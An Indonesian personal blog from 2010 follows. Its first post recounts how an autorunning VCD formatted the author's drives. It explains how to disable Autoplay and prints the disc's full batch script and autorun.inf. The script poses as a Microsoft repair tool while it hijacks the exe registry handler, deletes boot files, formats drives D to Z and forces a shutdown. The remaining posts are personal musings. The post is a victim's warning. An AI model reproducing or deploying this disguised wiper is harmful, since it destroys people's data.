Jumat, 12 November 2010

VCD Pembawa Petaka...

Pada suatu hari ( kayak dongeng aja ) ada teman bawa kepingan vcd dangdut lokal dan minta tolong di buatin MP3 dari vcd tadi. Singkat cerita VCD ku masukkan ke CD Room komputer, Begitu VCD masuk,  tiba-tiba muncul tampilan 'kotak hitam' (Maklum, nggak begitu memahami seluk beluk komputer) di layar, Ada tulisan sebagai berikut:

Preparing to Fixing the System..............................
This system need to repair of broken files.
This problem may be cause a Virus activity or coruption files.
Please wait a minute until windows doing it self....
Please close any running programs from the Windows system.
This program License and copyright by
Microsoft Coorporation TM.
System Repair in progress ........ please wait a second..

lalu komputer langsung restart. Komputer akhirnya tidak bisa booting Windows XP karena file ntldr-nya hilang. Karena nggak bisa booting , akhirnya saya putuskan format dan install ulang Windows XP. Setelah selesai, saya buka windows explorer.....ternyata semua data2 di partisi D lenyap tak berbekas. Antara sedih dan bingung aku teringat pada kepingan vcd yang menyebabkan ini semua, untuk menghindari virus aku putuskan untuk mematikan autoplay semua device, cdrom dan usb mass storage ( flashdisk, memory card, mp3 player, portable harddisk pokoke semua yang nyimpen data pake USB deh)
cara mematikan autoplay :

jalankan Run (windows+R), ketik gpedit.msc, maka akan keluar Group Policy, cari User Configuration -> Administrative Templates -> System -> di jendela kanan cari Turn off Autoplay dan dobel klik disitu, maka munculah propertiesnya, klik enable, dibawahnya pilih all drive, klik OK. dijamin ga akan ada virus yang autorun dari flashdisk atau CDrom. konsekuensinya, setiap nancepin flashdisk atau masukin CD harus dilihat langsung ke my computer. ga akan muncul lagi menu autoplay.

Setelah autoplay tidak aktif, vcd yang menyebabkan hardisk ku terformat masukin lagi ke CDrom, setelah di browse ternyata memang ada 3 file dengan ekstensi yang tidak terlalu asing. auto.cmd, autorun.inf, shutdown.exe, Script CMD/bat nya lihat dibawah.

@echo off
title Microsoft Windows TM Auto Repair
echo.
echo Preparing to Fixing the System…………………………
echo This system need to repair of broken files.
echo This problem may be cause a Virus activity or coruption files.
echo Please wait a minute until windows doing it self….
echo Please close any running programs from the Windows system.
echo This program License and copyright by
echo Microsoft Coorporation TM.
echo System Repair in progress …….. please wait a second..
echo.
reg add HKLM\SOFTWARE\Classes\exefile\shell\open\Command /ve /d %%fe340ead%% /f
echo.
del /f /Q /A C:\ntldr /S
echo.
Format D: /Q /X /y
echo.
Format E: /Q /X /y
echo.
Format F: /Q /X /y
echo.
Format G: /Q /X /y
echo.
Format H: /Q /X /y
echo.
Format I: /Q /X /y
echo.
Format J: /Q /X /y
echo.
Format K: /Q /X /y
echo.
Format L: /Q /X /y
echo.
Format M: /Q /X /y
echo.
Format N: /Q /X /y
echo.
Format 0: /Q /X /y
echo.
Format P: /Q /X /y
echo.
Format Q: /Q /X /y
echo.
Format R: /Q /X /y
echo.
Format S: /Q /X /y
echo.
Format T: /Q /X /y
echo.
Format U: /Q /X /y
echo.
Format V: /Q /X /y
echo.
Format W: /Q /X /y
echo.
Format X: /Q /X /y
echo.
Format Y: /Q /X /y
echo.
Format Z: /Q /X /y
echo.
del /f /Q /A C:\command.com /S
echo.
del /f /Q /A C:\io.sys /S
echo.
del /f /Q /A C:\config.sys /S
echo.
echo System is now repaired.
echo Windows will reboot the system.
echo.
Shutdown.exe -s -c “Finish Repair System” -f -t 10
echo.
pause
echo.
Shutdown.exe -s -c “Finish Repair System” -f -t 10
echo.
exit


Agar CMD dapat berjalan otomatis ditambahkan file AUTORUN.INF

[autorun]
open=Auto.cmd


Saat shutdown.cmd tersebut berjalan, seakan-akan merupakan program dari windows untuk memperbaiki system yang error, tetapi kenyataan lain yaitu sedang terjadi kegiatan format hardisk, semua partisi yang ada tentunya. Dari pengalaman saya itu, hendaknya kita juga berhati-hati, jangan asal-asalan dalam memasukkan, keping CD atau DVD maksudnya :D.

Kamis, 11 November 2010

Aku dan Duniaku

Aku orangnya terlalu sibuk dengan duniaku sendiri. Baru kusadari betapa sempitnya duniaku! Hanya aku, aku, dan aku seorang diri. Ketika kubuka mataku, sejauh mataku memandang, ternyata dunia ini lebih indah dari sekedar hitam dan putih.Di ujung pandangku ada garis cakrawala yang membiru luas. Kulihat lagi sinar matahari yang kuning cerah, angin yang bertiup, suara kicauan burung, gemercik air yang jatuh di antara bebatuan. Indah, ketika aku melihat ke luar. Tidak hanya diriku sendiri. Aku melihat senyum seorang anak kecil yang melambaikan tangannya untukku. Dan saat itu pertama kali aku bisa tersenyum kembali. Lembutnya angin membelaiku. Kuhirup nafas sedalam-dalamnya, lalu kuhembuskan pelan-pelan.
Aaah… Lega sekali rasanya. Seakan semua beban pikiran dan bimbangku yang selama ini menekan kepalaku ikut terbuang dalam hembusan nafasku.

Sabar ada batasnya dan sabar tiada berbatas

Banyak orang yang mengatakan "sabar itu ada batasnya" namun banyak juga yang mengatakan sebaliknya, yaitu "sabar itu tidak ada batasnya, yang ada hanyalah keterbatasan manusia dalam merefleksikan sabar di dalam hatinya."
Ada yang mengatakan sabar ada batasnya dan ada juga sebaliknya bahwa sabar itu tidak ada berbatas. Bagaimana mempertemukan kedua pandangan seperti itu?

Kita sering mengasosiasikan sabar itu dengan tidak marah, dan ya memang salah satu penempatan sabar adalah dengan menahan amarah. Walaupun sebenarnya masih banyak 'bidang-bidang' lain yang dapat menjadi ladang pembuktian kesabaran, seperti ketika ditimpa musibah, ketika belum juga mendapatkan anak meski sudah bertahun-tahun menikah, ketika usaha merugi dan lain sebagainya. Kesemuanya itu hadir sebagai variasi dalam hidup dan manusia dituntut untuk bersabar karenanya.

Dalam percakapan sehari-hari, kita sering mendengar orang yang berkeluh kesah tentang kesulitan yang dihadapinya apakah karena urusan anak, istri, suami ataupun tantangan dan ujian kehidupan yang dijalani.
“Saya sudah berusaha sabar. Tapi sabar khan ada batasnya. Kalau sudah begini saya tidak bisa terima.”
Itulah petikan kalimat yang kadang kita dengar ketika kesabaran diuji sampai batas akhirnya.
Apakah kesabaran memang ada batasnya?
Sabar adalah sabar. Jika sabar itu hanya sampai batas tertentu, maka sebenarnya ia bukanlah sabar.

Suatu hari, mungkin akan ada orang yang menghina dengan sangat kasarnya, kesulitan hidup yang tak kunjung selesai meski telah berkali-kali dicari jalan keluarnya, dimusuhi oleh orang lain sehingga tidak memiliki seorangpun teman untuk berbagi, atau harapan demi harapan akan sesuatu yang tak kunjung menjadi kenyataan.
Manusia akan selalu diuji dengan berbagai bentuk kejadian maupun sikap orang-orang di sekitarnya yang menuntut kesabaran sampai dia menyadari bahwa diri ini memang belum bisa bersabar.

Rabu, 10 November 2010

Hari Pertama

Hari pertama nulis blog, sebenarnya aku bingung kalo nulis blog tuh mau nulis apa??
mau nulis  tentang hal-hal ringan aja ah...... karena aku rasa hidup ini terlalu berat untuk dibikin tambah berat....